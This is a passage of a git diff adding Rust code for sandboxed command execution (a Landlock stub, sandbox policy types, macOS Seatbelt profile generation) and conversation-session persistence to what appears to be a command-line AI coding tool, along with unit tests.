Landlock-sandboxed execution environment (Linux). + /// + /// Note: Landlock restricts the current process, so for subprocess sandboxing + /// we would need a helper binary. For now, this prepares the environment with + /// appropriate markers but doesn't actually apply Landlock (would need helper). + #[cfg(target_os = "linux")] + fn prepare_landlock(spec: &CommandSpec) -> ExecEnv { + // Build the original command + let mut command = vec![spec.program.clone()]; + command.extend(spec.args.clone()); + + // Add sandbox indicator to environment + let mut env = spec.env.clone(); + env.insert("DEEPSEEK_SANDBOX".to_string(), "landlock".to_string()); + + // Note: Full Landlock implementation would use a helper binary that: + // 1. Sets up the Landlock ruleset based on policy + // 2. Applies restrictions to itself + // 3. Execs the target command + // + // For now, we just mark that Landlock would be used + + ExecEnv { + command, + cwd: spec.cwd.clone(), + env, + timeout: spec.timeout, + sandbox_type: SandboxType::LinuxLandlock, + policy: spec.sandbox_policy.clone(), + } + } + + /// Check if a command failure was due to sandbox denial. + /// + /// This helps distinguish between legitimate command failures and + /// sandbox-blocked operations. + pub fn was_denied(sandbox_type: SandboxType, exit_code: i32, stderr: &str) -> bool { + #[cfg(not(any(target_os = "macos", target_os = "linux")))] + let _ = (exit_code, stderr); + + match sandbox_type { + SandboxType::None => false, + + #[cfg(target_os = "macos")] + SandboxType::MacosSeatbelt => seatbelt::detect_denial(exit_code, stderr), + + #[cfg(target_os = "linux")] + SandboxType::LinuxLandlock => landlock::detect_denial(exit_code, stderr), + } + } + + /// Get a human-readable description of why a command was blocked. + pub fn denial_message(sandbox_type: SandboxType, stderr: &str) -> String { + #[cfg(not(any(target_os = "macos", target_os = "linux")))] + let _ = stderr; + + match sandbox_type { + SandboxType::None => "Command failed (no sandbox)".to_string(), + + #[cfg(target_os = "macos")] + SandboxType::MacosSeatbelt => { + if stderr.contains("file-write") { + "Sandbox blocked write access. The command tried to write to a protected location.".to_string() + } else if stderr.contains("network") { + "Sandbox blocked network access. Enable network_access in sandbox policy if needed.".to_string() + } else { + format!( + "Sandbox blocked operation: {}", + stderr.lines().next().unwrap_or("unknown") + ) + } + } + + #[cfg(target_os = "linux")] + SandboxType::LinuxLandlock => { + if stderr.contains("Permission denied") { + "Landlock blocked access. The command tried to access a restricted path." + .to_string() + } else { + format!( + "Landlock blocked operation: {}", + stderr.lines().next().unwrap_or("unknown") + ) + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn expected_shell_command(command: &str) -> Vec { + #[cfg(windows)] + { + vec!["cmd".to_string(), "/C".to_string(), command.to_string()] + } + #[cfg(not(windows))] + { + vec!["sh".to_string(), "-c".to_string(), command.to_string()] + } + } + + #[test] + fn test_command_spec_shell() { + let spec = CommandSpec::shell("echo hello", PathBuf::from("/tmp"), Duration::from_secs(30)); + + #[cfg(windows)] + { + assert_eq!(spec.program, "cmd"); + assert_eq!(spec.args, vec!["/C", "echo hello"]); + } + #[cfg(not(windows))] + { + assert_eq!(spec.program, "sh"); + assert_eq!(spec.args, vec!["-c", "echo hello"]); + } + assert_eq!(spec.display_command(), "echo hello"); + } + + #[test] + fn test_command_spec_program() { + let spec = CommandSpec::program( + "cargo", + vec!["build".to_string(), "--release".to_string()], + PathBuf::from("/project"), + Duration::from_secs(300), + ); + + assert_eq!(spec.program, "cargo"); + assert_eq!(spec.display_command(), "cargo build --release"); + } + + #[test] + fn test_command_spec_builder() { + let spec = CommandSpec::shell("test", PathBuf::from("."), Duration::from_secs(10)) + .with_policy(SandboxPolicy::ReadOnly) + .with_env_var("FOO", "bar") + .with_justification("Testing"); + + assert!(matches!(spec.sandbox_policy, SandboxPolicy::ReadOnly)); + assert_eq!(spec.env.get("FOO"), Some(&"bar".to_string())); + assert_eq!(spec.justification, Some("Testing".to_string())); + } + + #[test] + fn test_sandbox_manager_new() { + let manager = SandboxManager::new(); + assert!(manager.sandbox_available.is_none()); + } + + #[test] + fn test_sandbox_manager_select_sandbox() { + let manager = SandboxManager::new(); + + // DangerFullAccess should never sandbox + let no_sandbox = manager.select_sandbox(&SandboxPolicy::DangerFullAccess); + assert_eq!(no_sandbox, SandboxType::None); + + // ExternalSandbox should never sandbox + let external = manager.select_sandbox(&SandboxPolicy::ExternalSandbox { + network_access: true, + }); + assert_eq!(external, SandboxType::None); + } + + #[test] + fn test_prepare_unsandboxed() { + let manager = SandboxManager::new(); + let spec = CommandSpec::shell("echo test", PathBuf::from("/tmp"), Duration::from_secs(30)) + .with_policy(SandboxPolicy::DangerFullAccess); + + let env = manager.prepare(&spec); + + assert_eq!(env.sandbox_type, SandboxType::None); + assert_eq!(env.command, expected_shell_command("echo test")); + assert!(!env.is_sandboxed()); + } + + #[test] + fn test_exec_env_helpers() { + let env = ExecEnv { + command: vec![ + "sandbox-exec".to_string(), + "-p".to_string(), + "policy".to_string(), + "--".to_string(), + "echo".to_string(), + "hello".to_string(), + ], + cwd: PathBuf::from("/tmp"), + env: HashMap::new(), + timeout: Duration::from_secs(30), + sandbox_type: SandboxType::None, + policy: SandboxPolicy::default(), + }; + + assert_eq!(env.program(), "sandbox-exec"); + assert_eq!(env.args().len(), 5); + } + + #[test] + fn test_sandbox_type_display() { + assert_eq!(format!("{}", SandboxType::None), "none"); + + #[cfg(target_os = "macos")] + assert_eq!(format!("{}", SandboxType::MacosSeatbelt), "macos-seatbelt"); + } +} diff --git a/src/sandbox/policy.rs b/src/sandbox/policy.rs new file mode 100644 index 00000000..336cfdb4 --- /dev/null +++ b/src/sandbox/policy.rs @@ -0,0 +1,320 @@ +//! Sandbox policy definitions for command execution restrictions. +//! +//! This module defines the policies that control what resources a sandboxed +//! process can access. Policies range from full unrestricted access to +//! tightly controlled workspace-only write access. + +use serde::{Deserialize, Serialize}; +use std::path::{Path, PathBuf}; + +/// Determines execution restrictions for shell commands. +/// +/// The sandbox policy controls filesystem access, network access, and other +/// system resources for executed commands. Choose the most restrictive policy +/// that still allows your command to function. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(tag = "type", rename_all = "kebab-case")] +pub enum SandboxPolicy { + /// No restrictions whatsoever. Use with extreme caution. + /// + /// This policy disables all sandboxing and allows full system access. + /// Only use this when absolutely necessary and the command source is trusted. + #[serde(rename = "danger-full-access")] + DangerFullAccess, + + /// Read-only access to the entire filesystem. + /// + /// The process can read any file but cannot write anywhere. + /// Useful for analysis tools that need broad read access. + #[serde(rename = "read-only")] + ReadOnly, + + /// Indicates the process is already running in an external sandbox. + /// + /// Use this when deepseek-cli is itself running inside a container, + /// VM, or other sandboxed environment. This avoids double-sandboxing + /// which can cause issues. + #[serde(rename = "external-sandbox")] + ExternalSandbox { + /// Whether network access is allowed in the external sandbox. + #[serde(default)] + network_access: bool, + }, + + /// Read-only filesystem access plus write access to specified directories. + /// + /// This is the default and recommended policy. It allows: + /// - Read access to the entire filesystem (for tools, libraries, etc.) + /// - Write access only to the current working directory and specified roots + /// - Optional network access + #[serde(rename = "workspace-write")] + WorkspaceWrite { + /// Additional directories where writes are allowed. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + writable_roots: Vec, + + /// Whether outbound network connections are permitted. + #[serde(default)] + network_access: bool, + + /// Exclude TMPDIR from writable paths. + #[serde(default)] + exclude_tmpdir: bool, + + /// Exclude /tmp from writable paths. + #[serde(default)] + exclude_slash_tmp: bool, + }, +} + +impl Default for SandboxPolicy { + /// Returns the default policy: workspace-write with no extra roots and no network. + fn default() -> Self { + SandboxPolicy::WorkspaceWrite { + writable_roots: vec![], + network_access: false, + exclude_tmpdir: false, + exclude_slash_tmp: false, + } + } +} + +impl SandboxPolicy { + /// Create a workspace-write policy with network access enabled. + pub fn workspace_with_network() -> Self { + SandboxPolicy::WorkspaceWrite { + writable_roots: vec![], + network_access: true, + exclude_tmpdir: false, + exclude_slash_tmp: false, + } + } + + /// Create a workspace-write policy with additional writable directories. + pub fn workspace_with_roots(roots: Vec, network: bool) -> Self { + SandboxPolicy::WorkspaceWrite { + writable_roots: roots, + network_access: network, + exclude_tmpdir: false, + exclude_slash_tmp: false, + } + } + + /// Returns true if the policy allows reading any file on the filesystem. + pub fn has_full_disk_read_access() -> bool { + // All current policies allow full disk read access + true + } + + /// Returns true if the policy allows writing to any file on the filesystem. + pub fn has_full_disk_write_access(&self) -> bool { + matches!( + self, + SandboxPolicy::DangerFullAccess | SandboxPolicy::ExternalSandbox { .. } + ) + } + + /// Returns true if the policy allows outbound network connections. + pub fn has_network_access(&self) -> bool { + match self { + SandboxPolicy::DangerFullAccess => true, + SandboxPolicy::ReadOnly => false, + SandboxPolicy::ExternalSandbox { network_access } + | SandboxPolicy::WorkspaceWrite { network_access, .. } => *network_access, + } + } + + /// Returns true if the sandbox should be applied (not bypassed). + pub fn should_sandbox(&self) -> bool { + !matches!( + self, + SandboxPolicy::DangerFullAccess | SandboxPolicy::ExternalSandbox { .. } + ) + } + + /// Get the list of writable roots for this policy. + /// + /// This includes: + /// - The current working directory + /// - Any explicitly specified `writable_roots` + /// - /tmp (unless excluded) + /// - TMPDIR (unless excluded) + /// + /// For policies with full write access, returns an empty vec since + /// there's no need to enumerate specific paths. + pub fn get_writable_roots(&self, cwd: &Path) -> Vec { + match self { + // Full write access or read-only - no enumeration needed + SandboxPolicy::DangerFullAccess + | SandboxPolicy::ExternalSandbox { .. } + | SandboxPolicy::ReadOnly => vec![], + + // Workspace write - enumerate all writable paths + SandboxPolicy::WorkspaceWrite { + writable_roots, + exclude_tmpdir, + exclude_slash_tmp, + .. + } => { + let mut roots: Vec = writable_roots.clone(); + + // Add the current working directory + if let Ok(canonical_cwd) = cwd.canonicalize() { + roots.push(canonical_cwd); + } else { + roots.push(cwd.to_path_buf()); + } + + // Add /tmp unless excluded + if !exclude_slash_tmp && let Ok(tmp) = Path::new("/tmp").canonicalize() { + roots.push(tmp); + } + + // Add TMPDIR unless excluded + if !exclude_tmpdir + && let Ok(tmpdir) = std::env::var("TMPDIR") + && let Ok(canonical) = Path::new(&tmpdir).canonicalize() + { + roots.push(canonical); + } + + // Convert to WritableRoot with read-only subpaths + roots + .into_iter() + .map(|root| { + let mut read_only_subpaths = Vec::new(); + + // Protect .deepseek directories from modification + let deepseek_dir = root.join(".deepseek"); + if deepseek_dir.is_dir() { + read_only_subpaths.push(deepseek_dir); + } + + WritableRoot { + root, + read_only_subpaths, + } + }) + .collect() + } + } + } +} + +/// A directory tree where writes are allowed, with optional read-only subpaths. +/// +/// This allows fine-grained control like "allow writes to /project but not /project/.deepseek". +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct WritableRoot { + /// The root directory where writes are allowed. + pub root: PathBuf, + + /// Subdirectories within root that should remain read-only. + pub read_only_subpaths: Vec, +} + +impl WritableRoot { + /// Create a new writable root with no read-only exceptions. + pub fn new(root: PathBuf) -> Self { + Self { + root, + read_only_subpaths: vec![], + } + } + + /// Create a writable root with specific read-only subpaths. + pub fn with_exceptions(root: PathBuf, read_only: Vec) -> Self { + Self { + root, + read_only_subpaths: read_only, + } + } + + /// Check if a path is writable under this root. + /// + /// Returns true if the path is under the root and not under any read-only subpath. + pub fn is_path_writable(&self, path: &Path) -> bool { + // Must be under the root + if !path.starts_with(&self.root) { + return false; + } + + // Must not be under any read-only subpath + for subpath in &self.read_only_subpaths { + if path.starts_with(subpath) { + return false; + } + } + + true + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_default_policy() { + let policy = SandboxPolicy::default(); + assert!(matches!(policy, SandboxPolicy::WorkspaceWrite { .. })); + assert!(!policy.has_network_access()); + assert!(policy.should_sandbox()); + } + + #[test] + fn test_full_access_policy() { + let policy = SandboxPolicy::DangerFullAccess; + assert!(policy.has_full_disk_write_access()); + assert!(policy.has_network_access()); + assert!(!policy.should_sandbox()); + } + + #[test] + fn test_read_only_policy() { + let policy = SandboxPolicy::ReadOnly; + assert!(!policy.has_full_disk_write_access()); + assert!(!policy.has_network_access()); + assert!(policy.should_sandbox()); + } + + #[test] + fn test_workspace_with_network() { + let policy = SandboxPolicy::workspace_with_network(); + assert!(policy.has_network_access()); + assert!(policy.should_sandbox()); + } + + #[test] + fn test_writable_root_basic() { + let root = WritableRoot::new(PathBuf::from("/project")); + assert!(root.is_path_writable(Path::new("/project/src/main.rs"))); + assert!(!root.is_path_writable(Path::new("/other/file.txt"))); + } + + #[test] + fn test_writable_root_with_exceptions() { + let root = WritableRoot::with_exceptions( + PathBuf::from("/project"), + vec![PathBuf::from("/project/.deepseek")], + ); + assert!(root.is_path_writable(Path::new("/project/src/main.rs"))); + assert!(!root.is_path_writable(Path::new("/project/.deepseek/config"))); + } + + #[test] + fn test_policy_serialization() { + let policy = SandboxPolicy::WorkspaceWrite { + writable_roots: vec![PathBuf::from("/extra")], + network_access: true, + exclude_tmpdir: false, + exclude_slash_tmp: false, + }; + + let json = serde_json::to_string(&policy).unwrap(); + assert!(json.contains("workspace-write")); + + let parsed: SandboxPolicy = serde_json::from_str(&json).unwrap(); + assert_eq!(policy, parsed); + } +} diff --git a/src/sandbox/seatbelt.rs b/src/sandbox/seatbelt.rs new file mode 100644 index 00000000..6af5e0b2 --- /dev/null +++ b/src/sandbox/seatbelt.rs @@ -0,0 +1,398 @@ +//! macOS Seatbelt (sandbox-exec) profile generation. +//! +//! Seatbelt is Apple's mandatory access control framework that uses the +//! Scheme-based policy language to define what system resources a process +//! can access. This module generates sandbox profiles dynamically based +//! on the configured `SandboxPolicy`. +//! +//! # How it works +//! +//! 1. We generate a Seatbelt policy string in the SBPL format +//! 2. We invoke `/usr/bin/sandbox-exec -p ` to run the command +//! 3. The kernel enforces the policy, blocking unauthorized operations +//! +//! # References +//! +//! - Apple's sandbox(7) man page +//! - + +// Note: cfg(target_os = "macos") is already applied at the module level in mod.rs + +use super::policy::SandboxPolicy; +use std::path::{Path, PathBuf}; +use std::process::Command; +use std::sync::OnceLock; + +/// Path to the sandbox-exec binary on macOS. +pub const SANDBOX_EXEC_PATH: &str = "/usr/bin/sandbox-exec"; + +/// Base seatbelt policy that provides minimal process functionality. +/// +/// This policy: +/// - Denies everything by default +/// - Allows process execution and forking +/// - Allows signals within the same sandbox +/// - Allows reading user preferences (needed by many tools) +/// - Allows basic process introspection +/// - Allows writing to /dev/null +/// - Allows reading sysctl values +/// - Allows POSIX semaphores and pseudo-TTY operations +const SEATBELT_BASE_POLICY: &str = r#" +(version 1) +(deny default) + +; Core process operations +(allow process-exec) +(allow process-fork) +(allow signal (target same-sandbox)) +(allow process-info* (target same-sandbox)) + +; User preferences (needed by many CLI tools) +(allow user-preference-read) + +; Basic I/O to /dev/null +(allow file-write-data + (require-all + (path "/dev/null") + (vnode-type CHARACTER-DEVICE))) + +; System information +(allow sysctl-read) + +; IPC primitives +(allow ipc-posix-sem) +(allow ipc-posix-shm-read*) +(allow ipc-posix-shm-write-create) +(allow ipc-posix-shm-write-data) +(allow ipc-posix-shm-write-unlink) + +; Terminal support (essential for shell commands) +(allow pseudo-tty) +(allow file-read* file-write* file-ioctl (literal "/dev/ptmx")) +(allow file-read* file-write* file-ioctl (regex #"^/dev/ttys[0-9]+$")) + +; macOS-specific device access +(allow file-read* (literal "/dev/urandom")) +(allow file-read* (literal "/dev/random")) +(allow file-ioctl (literal "/dev/dtracehelper")) + +; Mach IPC (needed by many system services) +(allow mach-lookup) +"#; + +/// Network access policy additions. +const SEATBELT_NETWORK_POLICY: &str = r" +; Network access +(allow network-outbound) +(allow network-inbound) +(allow system-socket) +(allow network-bind) +"; + +/// Check if sandbox-exec is available and permitted on this system. +pub fn is_available() -> bool { + static SEATBELT_AVAILABLE: OnceLock = OnceLock::new(); + + *SEATBELT_AVAILABLE.get_or_init(|| { + if !Path::new(SANDBOX_EXEC_PATH).exists() { + return false; + } + + let output = Command::new(SANDBOX_EXEC_PATH) + .args(["-p", "(version 1)(allow default)", "--", "/usr/bin/true"]) + .output(); + + match output { + Ok(result) => result.status.success(), + Err(_) => false, + } + }) +} + +/// Create the command-line arguments for sandbox-exec. +/// +/// Returns a Vec of arguments that should be prepended to the command. +/// The format is: `sandbox-exec -p -D KEY=VALUE ... -- ` +pub fn create_seatbelt_args( + command: Vec, + policy: &SandboxPolicy, + sandbox_cwd: &Path, +) -> Vec { + let full_policy = generate_policy(policy, sandbox_cwd); + let params = generate_params(policy, sandbox_cwd); + + let mut args = vec!["-p".to_string(), full_policy]; + + // Add parameter definitions for variable substitution + for (key, value) in params { + args.push(format!("-D{}={}", key, value.to_string_lossy())); + } + + // Separator between sandbox-exec args and the actual command + args.push("--".to_string()); + args.extend(command); + + args +} + +/// Generate the complete Seatbelt policy string for the given policy. +fn generate_policy(policy: &SandboxPolicy, cwd: &Path) -> String { + let mut full_policy = SEATBELT_BASE_POLICY.to_string(); + + // Add read access policy + if SandboxPolicy::has_full_disk_read_access() { + full_policy.push_str("\n; Full filesystem read access\n(allow file-read*)"); + } + + // Add write access policy + let file_write_policy = generate_write_policy(policy, cwd); + if !file_write_policy.is_empty() { + full_policy.push_str("\n\n; Write access policy\n"); + full_policy.push_str(&file_write_policy); + } + + // Add network policy if enabled + if policy.has_network_access() { + full_policy.push('\n'); + full_policy.push_str(SEATBELT_NETWORK_POLICY); + } + + // Add Darwin user cache directory access (needed by many macOS tools) + full_policy.push_str("\n\n; Darwin user cache directory\n"); + full_policy + .push_str(r#"(allow file-read* file-write* (subpath (param "DARWIN_USER_CACHE_DIR")))"#); + + // Add common macOS directories that tools often need + full_policy.push_str("\n\n; Common macOS directories\n"); + full_policy.push_str(r#"(allow file-read* (subpath "/usr/lib"))"#); + full_policy.push('\n'); + full_policy.push_str(r#"(allow file-read* (subpath "/usr/share"))"#); + full_policy.push('\n'); + full_policy.push_str(r#"(allow file-read* (subpath "/System/Library"))"#); + full_policy.push('\n'); + full_policy.push_str(r#"(allow file-read* (subpath "/Library/Preferences"))"#); + full_policy.push('\n'); + full_policy.push_str(r#"(allow file-read* (subpath "/private/var/db"))"#); + + full_policy +} + +/// Generate the write access portion of the Seatbelt policy. +fn generate_write_policy(policy: &SandboxPolicy, cwd: &Path) -> String { + // Full disk write access + if policy.has_full_disk_write_access() { + return r#"(allow file-write* (regex #"^/"))"#.to_string(); + } + + // Read-only - no write policy needed + if matches!(policy, SandboxPolicy::ReadOnly) { + return String::new(); + } + + // Workspace write - enumerate allowed paths + let writable_roots = policy.get_writable_roots(cwd); + if writable_roots.is_empty() { + return String::new(); + } + + let mut policies = Vec::new(); + + for (index, root) in writable_roots.iter().enumerate() { + let root_param = format!("WRITABLE_ROOT_{index}"); + + if root.read_only_subpaths.is_empty() { + // Simple case: entire subtree is writable + policies.push(format!("(subpath (param \"{root_param}\"))")); + } else { + // Complex case: writable with read-only exceptions + // Use require-all to combine subpath with require-not for each exception + let mut parts = vec![format!("(subpath (param \"{}\"))", root_param)]; + + for (subpath_index, _) in root.read_only_subpaths.iter().enumerate() { + let ro_param = format!("WRITABLE_ROOT_{index}_RO_{subpath_index}"); + parts.push(format!("(require-not (subpath (param \"{ro_param}\")))")); + } + + policies.push(format!("(require-all {})", parts.join(" "))); + } + } + + if policies.is_empty() { + return String::new(); + } + + // Combine all write policies with allow + format!("(allow file-write*\n {})", policies.join("\n ")) +} + +/// Generate parameter definitions for variable substitution in the policy. +/// +/// sandbox-exec allows -DKEY=VALUE to substitute `(param "KEY")` in the policy. +fn generate_params(policy: &SandboxPolicy, cwd: &Path) -> Vec<(String, PathBuf)> { + let mut params = Vec::new(); + + // Add writable root parameters + let writable_roots = policy.get_writable_roots(cwd); + + for (index, root) in writable_roots.iter().enumerate() { + let canonical = root + .root + .canonicalize() + .unwrap_or_else(|_| root.root.clone()); + params.push((format!("WRITABLE_ROOT_{index}"), canonical)); + + // Add parameters for read-only subpaths + for (subpath_index, subpath) in root.read_only_subpaths.iter().enumerate() { + let canonical_subpath = subpath.canonicalize().unwrap_or_else(|_| subpath.clone()); + params.push(( + format!("WRITABLE_ROOT_{index}_RO_{subpath_index}"), + canonical_subpath, + )); + } + } + + // Add Darwin user cache directory + if let Some(cache_dir) = get_darwin_user_cache_dir() { + params.push(("DARWIN_USER_CACHE_DIR".to_string(), cache_dir)); + } else { + // Fallback to a reasonable default + if let Ok(home) = std::env::var("HOME") { + params.push(( + "DARWIN_USER_CACHE_DIR".to_string(), + PathBuf::from(format!("{home}/Library/Caches")), + )); + } + } + + params +} + +/// Get the Darwin user cache directory using confstr. +/// +/// This returns the per-user cache directory that macOS assigns, +/// typically something like /var/folders/xx/xxx.../C/ +fn get_darwin_user_cache_dir() -> Option { + // Use libc to call confstr for _CS_DARWIN_USER_CACHE_DIR + let mut buf = vec![0i8; (libc::PATH_MAX as usize) + 1]; + + // Safety: `buf` is a writable buffer sized to PATH_MAX + 1 for confstr. + let len = + unsafe { libc::confstr(libc::_CS_DARWIN_USER_CACHE_DIR, buf.as_mut_ptr(), buf.len()) }; + + if len == 0 { + return None; + } + + // Convert the C string to a Rust PathBuf + // Safety: confstr guarantees a NUL-terminated string in `buf` when len > 0. + let cstr = unsafe { std::ffi::CStr::from_ptr(buf.as_ptr()) }; + let path_str = cstr.to_str().ok()?; + let path = PathBuf::from(path_str); + + // Try to canonicalize, but return the raw path if that fails + path.canonicalize().ok().or(Some(path)) +} + +/// Detect sandbox denial from command output. +/// +/// Returns true if the output suggests the sandbox blocked an operation. +pub fn detect_denial(exit_code: i32, stderr: &str) -> bool { + if exit_code == 0 { + return false; + } + + // Common sandbox denial messages + let denial_patterns = [ + "Operation not permitted", + "sandbox-exec", + "deny(", + "Sandbox: ", + ]; + + denial_patterns.iter().any(|p| stderr.contains(p)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_is_available() { + // This test just checks the function doesn't panic + // On macOS it should return true, on other platforms false + let _ = is_available(); + } + + #[test] + fn test_generate_policy_default() { + let policy = SandboxPolicy::default(); + let cwd = Path::new("/tmp/test"); + let result = generate_policy(&policy, cwd); + + assert!(result.contains("(version 1)")); + assert!(result.contains("(deny default)")); + assert!(result.contains("(allow file-read*)")); + assert!(result.contains("file-write*")); + // Default policy has no network + assert!(!result.contains("network-outbound")); + } + + #[test] + fn test_generate_policy_with_network() { + let policy = SandboxPolicy::workspace_with_network(); + let cwd = Path::new("/tmp/test"); + let result = generate_policy(&policy, cwd); + + assert!(result.contains("network-outbound")); + assert!(result.contains("network-inbound")); + } + + #[test] + fn test_generate_policy_read_only() { + let policy = SandboxPolicy::ReadOnly; + let cwd = Path::new("/tmp/test"); + let result = generate_policy(&policy, cwd); + + assert!(result.contains("(allow file-read*)")); + // Should not have workspace write rules + assert!(!result.contains("WRITABLE_ROOT")); + } + + #[test] + fn test_generate_params() { + let policy = SandboxPolicy::default(); + let cwd = Path::new("/tmp/test"); + let params = generate_params(&policy, cwd); + + // Should have at least the cache dir param + assert!(params.iter().any(|(k, _)| k == "DARWIN_USER_CACHE_DIR")); + } + + #[test] + fn test_create_seatbelt_args() { + let policy = SandboxPolicy::default(); + let cwd = Path::new("/tmp/test"); + let command = vec!["echo".to_string(), "hello".to_string()]; + + let args = create_seatbelt_args(command, &policy, cwd); + + // Should start with -p and the policy + assert_eq!(args[0], "-p"); + assert!(args[1].contains("(version 1)")); + + // Should contain the separator + assert!(args.contains(&"--".to_string())); + + // Should end with the original command + assert!(args.contains(&"echo".to_string())); + assert!(args.contains(&"hello".to_string())); + } + + #[test] + fn test_detect_denial() { + assert!(detect_denial(1, "Operation not permitted")); + assert!(detect_denial(1, "Sandbox: ls denied file-write*")); + assert!(!detect_denial(0, "Operation not permitted")); + assert!(!detect_denial(1, "File not found")); + } +} diff --git a/src/session_manager.rs b/src/session_manager.rs new file mode 100644 index 00000000..a71d53cb --- /dev/null +++ b/src/session_manager.rs @@ -0,0 +1,444 @@ +//! Session management for resuming conversations. +//! +//! This module provides functionality for: +//! - Saving sessions to disk +//! - Listing previous sessions +//! - Resuming sessions by ID +//! - Managing session lifecycle + +#![allow(dead_code)] // Public API - session persistence functions for future TUI integration + +use crate::models::{ContentBlock, Message, SystemPrompt}; +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use std::fs; +use std::path::{Path, PathBuf}; +use uuid::Uuid; + +/// Maximum number of sessions to retain +const MAX_SESSIONS: usize = 50; + +/// Session metadata stored with each saved session +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SessionMetadata { + /// Unique session identifier + pub id: String, + /// Human-readable title (derived from first message) + pub title: String, + /// When the session was created + pub created_at: DateTime, + /// When the session was last updated + pub updated_at: DateTime, + /// Number of messages in the session + pub message_count: usize, + /// Total tokens used + pub total_tokens: u64, + /// Model used for the session + pub model: String, + /// Workspace directory + pub workspace: PathBuf, +} + +/// A saved session containing full conversation history +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SavedSession { + /// Session metadata + pub metadata: SessionMetadata, + /// Conversation messages + pub messages: Vec, + /// System prompt if any + pub system_prompt: Option, +} + +/// Manager for session persistence operations +pub struct SessionManager { + /// Directory where sessions are stored + sessions_dir: PathBuf, +} + +impl SessionManager { + /// Create a new `SessionManager` with the specified sessions directory + pub fn new(sessions_dir: PathBuf) -> std::io::Result { + // Ensure the sessions directory exists + fs::create_dir_all(&sessions_dir)?; + Ok(Self { sessions_dir }) + } + + /// Create a `SessionManager` using the default location (~/.deepseek/sessions) + pub fn default_location() -> std::io::Result { + let home = dirs::home_dir().ok_or_else(|| { + std::io::Error::new(std::io::ErrorKind::NotFound, "Home directory not found") + })?; + Self::new(home.join(".deepseek").join("sessions")) + } + + /// Save a session to disk + pub fn save_session(&self, session: &SavedSession) -> std::io::Result { + let filename = format!("{}.json", session.metadata.id); + let path = self.sessions_dir.join(&filename); + + let content = serde_json::to_string_pretty(session) + .map_err(|e| std::io::Error::new(std::io::ErrorKind::InvalidData, e))?; + + fs::write(&path, content)?; + + // Clean up old sessions if we have too many + self.cleanup_old_sessions()?; + + Ok(path) + } + + /// Load a session by ID + pub fn load_session(&self, id: &str) -> std::io::Result { + let filename = format!("{id}.json"); + let path = self.sessions_dir.join(&filename); + + let content = fs::read_to_string(&path)?; + let session: SavedSession = serde_json::from_str(&content) + .map_err(|e| std::io::Error::new(std::io::ErrorKind::InvalidData, e))?; + + Ok(session) + } + + /// Load a session by partial ID prefix + pub fn load_session_by_prefix(&self, prefix: &str) -> std::io::Result { + let sessions = self.list_sessions()?; + + let matches: Vec<_> = sessions + .into_iter() + .filter(|s| s.id.starts_with(prefix)) + .collect(); + + match matches.len() { + 0 => Err(std::io::Error::new( + std::io::ErrorKind::NotFound, + format!("No session found with prefix: {prefix}"), + )), + 1 => self.load_session(&matches[0].id), + _ => Err(std::io::Error::new( + std::io::ErrorKind::InvalidInput, + format!( + "Ambiguous prefix '{}' matches {} sessions", + prefix, + matches.len() + ), + )), + } + } + + /// List all saved sessions, sorted by most recently updated + pub fn list_sessions(&self) -> std::io::Result> { + let mut sessions = Vec::new(); + + for entry in fs::read_dir(&self.sessions_dir)? { + let entry = entry?; + let path = entry.path(); + + if path.extension().is_some_and(|ext| ext == "json") + && let Ok(session) = Self::load_session_metadata(&path) + { + sessions.push(session); + } + } + + // Sort by updated_at descending (most recent first) + sessions.sort_by(|a, b| b.updated_at.cmp(&a.updated_at)); + + Ok(sessions) + } + + /// Load only the metadata from a session file (faster than loading full session) + fn load_session_metadata(path: &Path) -> std::io::Result { + #[derive(Deserialize)] + struct SavedSessionMetadata { + metadata: SessionMetadata, + } + + let file = fs::File::open(path)?; + let session: SavedSessionMetadata = serde_json::from_reader(file) + .map_err(|e| std::io::Error::new(std::io::ErrorKind::InvalidData, e))?; + Ok(session.metadata) + } + + /// Delete a session by ID + pub fn delete_session(&self, id: &str) -> std::io::Result<()> { + let filename = format!("{id}.json"); + let path = self.sessions_dir.join(&filename); + fs::remove_file(path) + } + + /// Clean up old sessions to stay within `MAX_SESSIONS` limit + fn cleanup_old_sessions(&self) -> std::io::Result<()> { + let sessions = self.list_sessions()?; + + if sessions.len() > MAX_SESSIONS { + // Delete oldest sessions + for session in sessions.iter().skip(MAX_SESSIONS) { + let _ = self.delete_session(&session.id); + } + } + + Ok(()) + } + + /// Get the most recent session + pub fn get_latest_session(&self) -> std::io::Result> { + let sessions = self.list_sessions()?; + Ok(sessions.into_iter().next()) + } + + /// Search sessions by title + pub fn search_sessions(&self, query: &str) -> std::io::Result> { + let query_lower = query.to_lowercase(); + let sessions = self.list_sessions()?; + + Ok(sessions + .into_iter() + .filter(|s| s.title.to_lowercase().contains(&query_lower)) + .collect()) + } +} + +/// Create a new `SavedSession` from conversation state +pub fn create_saved_session( + messages: &[Message], + model: &str, + workspace: &Path, + total_tokens: u64, + system_prompt: Option<&SystemPrompt>, +) -> SavedSession { + let id = Uuid::new_v4().to_string(); + let now = Utc::now(); + + // Generate title from first user message + let title = messages + .iter() + .find(|m| m.role == "user") + .and_then(|m| { + m.content.iter().find_map(|block| match block { + ContentBlock::Text { text, .. } => Some(truncate_title(text, 50)), + _ => None, + }) + }) + .unwrap_or_else(|| "New Session".to_string()); + + SavedSession { + metadata: SessionMetadata { + id, + title, + created_at: now, + updated_at: now, + message_count: messages.len(), + total_tokens, + model: model.to_string(), + workspace: workspace.to_path_buf(), + }, + messages: messages.to_vec(), + system_prompt: system_prompt_to_string(system_prompt), + } +} + +/// Update an existing session with new messages +pub fn update_session( + mut session: SavedSession, + messages: &[Message], + total_tokens: u64, + system_prompt: Option<&SystemPrompt>, +) -> SavedSession { + session.messages = messages.to_vec(); + session.metadata.updated_at = Utc::now(); + session.metadata.message_count = messages.len(); + session.metadata.total_tokens = total_tokens; + session.system_prompt = system_prompt_to_string(system_prompt).or(session.system_prompt); + session +} + +fn system_prompt_to_string(system_prompt: Option<&SystemPrompt>) -> Option { + match system_prompt { + Some(SystemPrompt::Text(text)) => Some(text.clone()), + 